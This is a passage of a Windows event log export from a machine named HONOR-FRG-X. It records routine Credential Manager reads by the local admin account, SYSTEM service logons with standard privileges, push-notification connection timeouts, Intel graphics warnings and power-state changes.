ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.625\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.626\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.626\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.653\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.654\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.655\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.655\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.655\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.802\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0xc38\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:34:07.811\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:20.214\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:34:41.487\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:41.488\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:41.488\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.270\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.270\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.277\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:50.277\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.056\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.056\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.056\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:34:59.063\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:25.430\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:35:27.546\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.546\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.546\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.561\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.578\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.591\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.679\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:27.679\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.291\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:35:36.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:36.345\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:36.455\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.456\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.476\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.476\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:36.701\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:36.701\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:39.921\t505\t\"Compatibility fix applied to C:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe.\nFix information: Microsoft Apps, {15a89f9e-4f3e-4aa2-b026-7271def4f208}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:35:39.921\t505\t\"Compatibility fix applied to C:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe.\nFix information: Microsoft Apps, {f4db680c-9c1e-4a31-b6b0-3be6bfd4f55f}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:35:40.450\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:35:40.450\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:40.450\t566\t\"The system session has transitioned from 0 to 1.\n\nReason SessionUnlock \n\nBootId: 82\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:35:40.451\t506\t\"The system is entering Modern Standby \n\nReason: Idle Timeout.\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:35:40.591\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:40.594\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:40.594\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:40.848\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x10c4\n\tProcess Name:\t\tC:\\Windows\\System32\\LogonUI.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.113\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:41.118\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"LockApp\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:41.223\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.223\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.305\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.305\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.591\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is 